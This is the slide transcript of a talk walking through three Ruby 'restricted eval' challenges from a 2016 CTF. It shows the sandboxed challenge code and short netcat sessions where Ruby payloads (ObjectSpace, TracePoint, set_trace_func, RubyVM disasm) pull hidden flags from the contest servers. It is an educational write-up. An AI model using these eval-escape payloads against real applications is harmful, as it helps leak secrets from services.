Restricted Ruby - A CTF story

Ed62c241777395802059f02cf5f7a680?s=47 Rosa
January 26, 2017

Restricted Ruby - A CTF story

It's not common to find Ruby problems in security CTF (Capture The Flag) competitions, but luckily there are some out there. These type of problems are always a great opportunity to learn some Ruby internals or features of the language that aren't usually known. They are also a perfect excuse to do crazy things and get as creative as possible. In this talk I'll present some problems from the CTF organised by a famous Japanese security group in 2016 and some ways to solve them.

Ed62c241777395802059f02cf5f7a680?s=128

Rosa

January 26, 2017
Tweet

Transcript

  1. Restricted Ruby a CTF story Rosa Gutiérrez github.com/rosa twitter.com/rosapolis

  2. ex-Tuenti ex-BeBanjo Senior software engineer at Plex Rosa Gutiérrez

  3. None
  4. Restricted Ruby a CTF story Rosa Gutiérrez github.com /rosa twitter.com/rosapolis

  5. Capture the flag crypto forensics reversing stego programming pwn web

    misc TWCTF{this_is_a_flag}
  6. None
  7. Capture the flag crypto forensics reversing stego programming pwn web

    misc
  8. servers to connect the flag goes here .7z file with

    the code
  9. restricted_ruby/ ├── comment.rb ├── comment_flag.rb ├── local.rb ├── private.rb ├──

    restrict.rb └── run.sh ppc1.chal.ctf.westerns.tokyo 1111 (flag 1, “private”) ppc1.chal.ctf.westerns.tokyo 1112 (flag 2, “local”) ppc1.chal.ctf.westerns.tokyo 1113 (flag 3, “comment”)
  10. #!/bin/bash cd $(dirname "$0") /usr/bin/ruby2.0 $1.rb 2> /dev/null | head

    --bytes=512 # Ubuntu 14.04(64bit) ruby2.0 package run.sh
  11. restrict.rb (sandboxing) require "fiddle/import" module Libc extend Fiddle::Importer dlload "libc.so.6"

    extern "int alarm(int)" end module Seccomp extend Fiddle::Importer dlload "libseccomp.so.2" extern "void* seccomp_init(int)" extern "int seccomp_rule_add(void*, int, int, int)" extern "int seccomp_load(void*)" SCMP_ACT_KILL = 0x00000000 SCMP_ACT_TRAP = 0x00030000 SCMP_ACT_ERRNO_0 = 0x00050000 # ignore syscall SCMP_ACT_ALLOW = 0x7fff0000 end class Restrict def self.set_timeout Libc.alarm(10) end def self.seccomp ctx = Seccomp.seccomp_init(Seccomp::SCMP_ACT_ERRNO_0) ret = 0 # allow write ret |= Seccomp::seccomp_rule_add(ctx, Seccomp::SCMP_ACT_ALLOW, 1, 0) # allow exit ret |= Seccomp::seccomp_rule_add(ctx, Seccomp::SCMP_ACT_ALLOW, 60, 0) # allow close ret |= Seccomp::seccomp_rule_add(ctx, Seccomp::SCMP_ACT_ALLOW, 3, 0) # allow brk ret |= Seccomp::seccomp_rule_add(ctx, Seccomp::SCMP_ACT_ALLOW, 12, 0) # allow mprotect ret |= Seccomp::seccomp_rule_add(ctx, Seccomp::SCMP_ACT_ALLOW, 10, 0) # allow mmap ret |= Seccomp::seccomp_rule_add(ctx, Seccomp::SCMP_ACT_ALLOW, 9, 0) # allow munmap ret |= Seccomp::seccomp_rule_add(ctx, Seccomp::SCMP_ACT_ALLOW, 11, 0) ret |= Seccomp::seccomp_load(ctx) fail "Failed to setup syscall." unless ret == 0 end end require_relative 'restrict' Restrict.set_timeout ... Restrict.seccomp In each main file
  12. # FLAG is TWCTF{CENSORED} input = STDIN.gets fail unless input

    input.size > 60 && input = input[0, 60] require_relative 'comment_flag' STDOUT.puts eval(input) class Private private public_methods.each do |method| eval "def #{method.to_s};end" end def flag return "TWCTF{CENSORED}" end end p = Private.new Private = nil input = STDIN.gets fail unless input input.size > 24 && input = input[0, 24] STDOUT.puts eval(input) def get_flag(x) flag = "TWCTF{CENSORED}" x end input = STDIN.gets fail unless input input.size > 60 && input = input[0,60] STDOUT.puts get_flag(eval(input)) private.rb local.rb comment.rb comment_flag.rb
  13. # FLAG is TWCTF{CENSORED} input = STDIN.gets fail unless input

    input.size > 60 && input = input[0, 60] require_relative 'comment_flag' STDOUT.puts eval(input) class Private private public_methods.each do |method| eval "def #{method.to_s};end" end def flag return "TWCTF{CENSORED}" end end p = Private.new Private = nil input = STDIN.gets fail unless input input.size > 24 && input = input[0, 24] STDOUT.puts eval(input) def get_flag(x) flag = "TWCTF{CENSORED}" x end input = STDIN.gets fail unless input input.size > 60 && input = input[0,60] STDOUT.puts get_flag(eval(input)) private.rb local.rb comment.rb comment_flag.rb
  14. class Private private public_methods.each do |method| eval "def #{method.to_s};end" end

    def flag return "TWCTF{CENSORED}" end end p = Private.new Private = nil input = STDIN.gets fail unless input input.size > 24 && input = input[0, 24] STDOUT.puts eval(input)
  15. class Private private public_methods.each do |method| eval "def #{method.to_s};end" end

    def flag return "TWCTF{CENSORED}" end end p = Private.new Private = nil input = STDIN.gets fail unless input input.size > 24 && input = input[0, 24] STDOUT.puts eval(input) p.send(:flag)
  16. rosa$

  17. rosa$ nc ppc1.chal.ctf.westerns.tokyo 1111

  18. rosa$ nc ppc1.chal.ctf.westerns.tokyo 1111 p.send(:flag)

  19. rosa$ nc ppc1.chal.ctf.westerns.tokyo 1111 p.send(:flag) private.rb:24:in `eval': private method `send'

    called for :Private (NoMethodError) from private.rb:24:in `eval' from private.rb:24:in `<main>'
  20. class Private private public_methods.each do |method| eval "def #{method.to_s};end" end

    def flag return "TWCTF{CENSORED}" end end p = Private.new Private = nil input = STDIN.gets fail unless input input.size > 24 && input = input[0, 24] STDOUT.puts eval(input)
  21. class Private private public_methods.each do |method| eval "def #{method.to_s};end" end

    def flag return "TWCTF{CENSORED}" end end p = Private.new Private = nil input = STDIN.gets fail unless input input.size > 24 && input = input[0, 24] STDOUT.puts eval(input) def p.a;flag;end;p.a
  22. rosa$

  23. rosa$ nc ppc1.chal.ctf.westerns.tokyo 1111

  24. rosa$ nc ppc1.chal.ctf.westerns.tokyo 1111 def p.a;flag;end;p.a

  25. rosa$ nc ppc1.chal.ctf.westerns.tokyo 1111 def p.a;flag;end;p.a TWCTF{PrivatePreview}

  26. # FLAG is TWCTF{CENSORED} input = STDIN.gets fail unless input

    input.size > 60 && input = input[0, 60] require_relative 'comment_flag' STDOUT.puts eval(input) class Private private public_methods.each do |method| eval "def #{method.to_s};end" end def flag return "TWCTF{CENSORED}" end end p = Private.new Private = nil input = STDIN.gets fail unless input input.size > 24 && input = input[0, 24] STDOUT.puts eval(input) def get_flag(x) flag = "TWCTF{CENSORED}" x end input = STDIN.gets fail unless input input.size > 60 && input = input[0,60] STDOUT.puts get_flag(eval(input)) private.rb local.rb comment.rb comment_flag.rb
  27. def get_flag(x) flag = "TWCTF{CENSORED}" x end input = STDIN.gets

    fail unless input input.size > 60 && input = input[0, 60] STDOUT.puts get_flag(eval(input))
  28. Binding, Kernel::binding def get_binding(param) binding end b = get_binding("hello") b.eval("param")

    #=> "hello"
  29. rosa$

  30. rosa$ nc ppc1.chal.ctf.westerns.tokyo 1112

  31. rosa$ nc ppc1.chal.ctf.westerns.tokyo 1112 binding.eval('flag')

  32. rosa$ nc ppc1.chal.ctf.westerns.tokyo 1112 binding.eval('flag') local.rb:25:in `eval': undefined local variable

    or method `flag' for main:Object (NameError) from (eval):1:in `eval' from (eval):1:in `<main>' from local.rb:25:in `eval' from local.rb:25:in `<main>'
  33. def get_flag(x) flag = "TWCTF{CENSORED}" x end input = STDIN.gets

    fail unless input input.size > 60 && input = input[0, 60] STDOUT.puts get_flag(eval(input))
  34. class Method alias kall call def call(*a) kall(a) puts binding.local_variables

    end end f=method(:get_flag);def f.call(*a);binding.local_variables;end Method
  35. def hello puts "hello, world" end puts RubyVM::InstructionSequence.disasm(method(:hello)) == disasm:

    <RubyVM::InstructionSequence:hello@/tmp/method.rb>============ 0000 trace 8 ( 1) 0002 trace 1 ( 2) 0004 putself 0005 putstring "hello, world" 0007 send :puts, 1, nil, 8, <ic:0> 0013 trace 16 ( 3) 0015 leave ( 2) RubyVM::InstructionSequence
  36. def get_flag(x) flag = "TWCTF{CENSORED}" x end input = STDIN.gets

    fail unless input input.size > 60 && input = input[0, 60] STDOUT.puts get_flag(eval(input))
  37. def get_flag(x) flag = "TWCTF{CENSORED}" x end input = STDIN.gets

    fail unless input input.size > 60 && input = input[0, 60] STDOUT.puts get_flag(eval(input)) RubyVM::InstructionSequence.disasm(method(:get_flag))
  38. rosa$

  39. rosa$ nc ppc1.chal.ctf.westerns.tokyo 1112

  40. rosa$ nc ppc1.chal.ctf.westerns.tokyo 1112 RubyVM::InstructionSequence.disasm(method(:get_flag))

  41. rosa$ nc ppc1.chal.ctf.westerns.tokyo 1112 RubyVM::InstructionSequence.disasm(method(:get_flag)) == disasm: <RubyVM::InstructionSequence:get_flag@local.rb>============== local table

    (size: 3, argc: 1 [opts: 0, rest: -1, post: 0, block: -1] s1) [ 3] x<Arg> [ 2] flag 0000 trace 8 ( 4) 0002 trace 1 ( 5) 0004 putstring "TWCTF{EnjoyC0untryLife}" 0006 setlocal_OP__WC__0 2 0008 trace 1 ( 6) 0010 getlocal_OP__WC__0 3
  42. rosa$ nc ppc1.chal.ctf.westerns.tokyo 1112 RubyVM::InstructionSequence.disasm(method(:get_flag)) == disasm: <RubyVM::InstructionSequence:get_flag@local.rb>============== local table

    (size: 3, argc: 1 [opts: 0, rest: -1, post: 0, block: -1] s1) [ 3] x<Arg> [ 2] flag 0000 trace 8 ( 4) 0002 trace 1 ( 5) 0004 putstring "TWCTF{EnjoyC0untryLife}" 0006 setlocal_OP__WC__0 2 0008 trace 1 ( 6) 0010 getlocal_OP__WC__0 3
  43. # FLAG is TWCTF{CENSORED} input = STDIN.gets fail unless input

    input.size > 60 && input = input[0, 60] require_relative 'comment_flag' STDOUT.puts eval(input) class Private private public_methods.each do |method| eval "def #{method.to_s};end" end def flag return "TWCTF{CENSORED}" end end p = Private.new Private = nil input = STDIN.gets fail unless input input.size > 24 && input = input[0, 24] STDOUT.puts eval(input) def get_flag(x) flag = "TWCTF{CENSORED}" x end input = STDIN.gets fail unless input input.size > 60 && input = input[0,60] STDOUT.puts get_flag(eval(input)) private.rb local.rb comment.rb comment_flag.rb
  44. input = STDIN.gets fail unless input input.size > 60 &&

    input = input[0, 60] require_relative 'comment_flag' STDOUT.puts eval(input) comment_flag.rb # FLAG is TWCTF{CENSORED}
  45. /tmp/hello.rb puts "Hello, world!" # This is a comment RubyVM::InstructionSequence.compile_file("/tmp/hello.rb")

    #=> <RubyVM::InstructionSequence:<main>@/tmp/hello.rb> RubyVM::InstructionSequence.compile_file("/tmp/hello.rb").to_a #=> ["YARVInstructionSequence/SimpleDataFormat", 2, 0, 1, {:arg_size=>0, :local_size=>1, :stack_max=>2}, "<main>", "/tmp/hello.rb", "/private/tmp/hello.rb", 1, :top, [], 0, [], [1, [:trace, 1], [:putself], [:putstring, "Hello, world!"], [:opt_send_simple, {:mid=>:puts, :flag=>264, :orig_argc=>1, :blockptr=>nil}], [:leave]]] RubyVM::InstructionSequence
  46. Kernel#require_relative module Kernel alias require_with_print require_relative def require_relative(filename) puts File.read(filename

    + '.rb') require_with_print(filename) end end
  47. a = 'hello world' count = ObjectSpace.each_object(String) { |x| p

    x } puts "Total count: #{count}" ... "initialize" "retval" "\"RubyVM::Env\"" "hello world" "$-a" "$-l" "$-p" "block in <main>" ... Total count: 11383 ObjectSpace#each_object
  48. input = STDIN.gets fail unless input input.size > 60 &&

    input = input[0, 60] require_relative 'comment_flag' STDOUT.puts eval(input) comment_flag.rb # FLAG is TWCTF{CENSORED}
  49. input = STDIN.gets fail unless input input.size > 60 &&

    input = input[0, 60] require_relative 'comment_flag' STDOUT.puts eval(input) comment_flag.rb # FLAG is TWCTF{CENSORED} ObjectSpace.each_object{|x| p x if x.to_s[/TWCTF\{.+\}/]}
  50. rosa$

  51. rosa$ nc ppc1.chal.ctf.westerns.tokyo 1113

  52. rosa$ nc ppc1.chal.ctf.westerns.tokyo 1113 ObjectSpace.each_object{|x| p x if x.to_s[/TWCTF\{.+\}/]}

  53. rosa$ nc ppc1.chal.ctf.westerns.tokyo 1113 ObjectSpace.each_object{|x| p x if x.to_s[/TWCTF\{.+\}/]} #

    FLAG is TWCTF{Transformation_t0_Artificial_Satelite} "\"# FLAG is TWCTF{Transformation_t0_Artificial_Satelite}\\n\"" "\"# FLAG is TWCTF{Transformation_t0_Artificial_Satelite}\\n\"" "\"# FLAG is TWCTF{Transformation_t0_Artificial_Satelite}\\n\"" 9548
  54. rosa$ nc ppc1.chal.ctf.westerns.tokyo 1113 ObjectSpace.each_object{|x| p x if x.to_s[/TWCTF\{.+\}/]} #

    FLAG is TWCTF{Transformation_t0_Artificial_Satelite} "\"# FLAG is TWCTF{Transformation_t0_Artificial_Satelite}\\n\"" "\"# FLAG is TWCTF{Transformation_t0_Artificial_Satelite}\\n\"" "\"# FLAG is TWCTF{Transformation_t0_Artificial_Satelite}\\n\"" 9548
  55. # FLAG is TWCTF{CENSORED} input = STDIN.gets require_relative 'comment_flag' STDOUT.puts

    eval(input) class Private private public_methods.each do |method| eval "def #{method.to_s};end" end def flag return "TWCTF{CENSORED}" end end p = Private.new Private = nil input = STDIN.gets STDOUT.puts eval(input) def get_flag(x) flag = "TWCTF{CENSORED}" x end input = STDIN.gets STDOUT.puts get_flag(eval(input)) private.rb local.rb comment.rb comment_flag.rb
  56. def get_flag(x) flag = "TWCTF{CENSORED}" x end input = STDIN.gets

    fail unless input input.size > 60 && input = input[0, 60] STDOUT.puts get_flag(eval(input))
  57. def get_flag(x) flag = "TWCTF{CENSORED}" x end input = STDIN.gets

    fail unless input input.size > 60 && input = input[0, 60] STDOUT.puts get_flag(eval(input)) ObjectSpace.each_object{|x| p x if x.to_s[/TWCTF\{.+\}/]}
  58. rosa$

  59. rosa$ nc ppc1.chal.ctf.westerns.tokyo 1112

  60. rosa$ nc ppc1.chal.ctf.westerns.tokyo 1112 ObjectSpace.each_object{|x| p x if x.to_s[/TWCTF\{.+\}/]}

  61. rosa$ nc ppc1.chal.ctf.westerns.tokyo 1112 ObjectSpace.each_object{|x| p x if x.to_s[/TWCTF\{.+\}/]} "TWCTF{EnjoyC0untryLife}"

    16735
  62. rosa$ nc ppc1.chal.ctf.westerns.tokyo 1112 ObjectSpace.each_object{|x| p x if x.to_s[/TWCTF\{.+\}/]} "TWCTF{EnjoyC0untryLife}"

    16735
  63. def get_flag(x) flag = "TWCTF{CENSORED}" x end input = STDIN.gets

    fail unless input input.size > 60 && input = input[0, 60] STDOUT.puts get_flag(eval(input))
  64. Kernel#set_trace_func class Test def test a = 1 end end

    p = proc do |event, file, line, id, binding, classname| printf "%8s %s:%-2d %10s %8s\n", event, file, line, id, classname end set_trace_func(p) t = Test.new t.test
  65. Kernel#set_trace_func class Test def test a = 1 end end

    p = proc do |event, file, line, id, binding, classname| printf "%8s %s:%-2d %10s %8s\n", event, file, line, id, classname end set_trace_func(p) t = Test.new t.test c-return test.rb:10 set_trace_func Kernel line test.rb:12 c-call test.rb:12 new Class c-call test.rb:12 initialize BasicObject c-return test.rb:12 initialize BasicObject c-return test.rb:12 new Class line test.rb:13 call test.rb:2 test Test line test.rb:3 test Test return test.rb:4 test Test
  66. Kernel#set_trace_func class Test def test a = 1 end end

    p = proc do |event, file, line, id, binding, classname| printf "%8s %s:%-2d %10s %8s\n", event, file, line, id, classname end set_trace_func(p) t = Test.new t.test
  67. def get_flag(x) flag = "TWCTF{CENSORED}" x end input = STDIN.gets

    fail unless input input.size > 60 && input = input[0, 60] STDOUT.puts get_flag(eval(input))
  68. def get_flag(x) flag = "TWCTF{CENSORED}" x end input = STDIN.gets

    fail unless input input.size > 60 && input = input[0, 60] STDOUT.puts get_flag(eval(input)) set_trace_func proc{|*a| p a[4].eval('flag') rescue nil}
  69. rosa$

  70. rosa$ nc ppc1.chal.ctf.westerns.tokyo 1112

  71. rosa$ nc ppc1.chal.ctf.westerns.tokyo 1112 set_trace_func proc{|*a| p a[4].eval('flag') rescue nil}

  72. rosa$ nc ppc1.chal.ctf.westerns.tokyo 1112 set_trace_func proc{|*a| p a[4].eval('flag') rescue nil}

    nil nil "TWCTF{EnjoyC0untryLife}" "TWCTF{EnjoyC0untryLife}" #<Proc:0x007ff3b1853f48@(eval):1>
  73. rosa$ nc ppc1.chal.ctf.westerns.tokyo 1112 set_trace_func proc{|*a| p a[4].eval('flag') rescue nil}

    nil nil "TWCTF{EnjoyC0untryLife}" "TWCTF{EnjoyC0untryLife}" #<Proc:0x007ff3b1853f48@(eval):1>
  74. TracePoint class Test def test a = 1 end end

    TracePoint.trace(:call, :return, :line) { |tp| p tp.inspect } t = Test.new t.test
  75. TracePoint class Test def test a = 1 end end

    TracePoint.trace(:call, :return, :line) { |tp| p tp.inspect } t = Test.new t.test "#<TracePoint:line@test.rb:9>" "#<TracePoint:line@test.rb:10>" "#<TracePoint:call `test'@test.rb:2>" "#<TracePoint:line@test.rb:3 in `test'>" "#<TracePoint:return `test'@test.rb:4>"
  76. def get_flag(x) flag = "TWCTF{CENSORED}" x end input = STDIN.gets

    fail unless input input.size > 60 && input = input[0, 60] STDOUT.puts get_flag(eval(input))
  77. def get_flag(x) flag = "TWCTF{CENSORED}" x end input = STDIN.gets

    fail unless input input.size > 60 && input = input[0, 60] STDOUT.puts get_flag(eval(input)) TracePoint.trace(:return){|a|puts a.binding.eval"flag"}
  78. rosa$

  79. rosa$ nc ppc1.chal.ctf.westerns.tokyo 1112

  80. rosa$ nc ppc1.chal.ctf.westerns.tokyo 1112 TracePoint.trace(:return){|a|puts a.binding.eval"flag"}

  81. rosa$ nc ppc1.chal.ctf.westerns.tokyo 1112 TracePoint.trace(:return){|a|puts a.binding.eval"flag"} TWCTF{EnjoyC0untryLife} #<TracePoint:0x00000000f4b3e8>

  82. rosa$ nc ppc1.chal.ctf.westerns.tokyo 1112 TracePoint.trace(:return){|a|puts a.binding.eval"flag"} TWCTF{EnjoyC0untryLife} #<TracePoint:0x00000000f4b3e8>

  83. None
  84. Thanks! Rosa Gutiérrez github.com/rosa twitter.com/rosapolis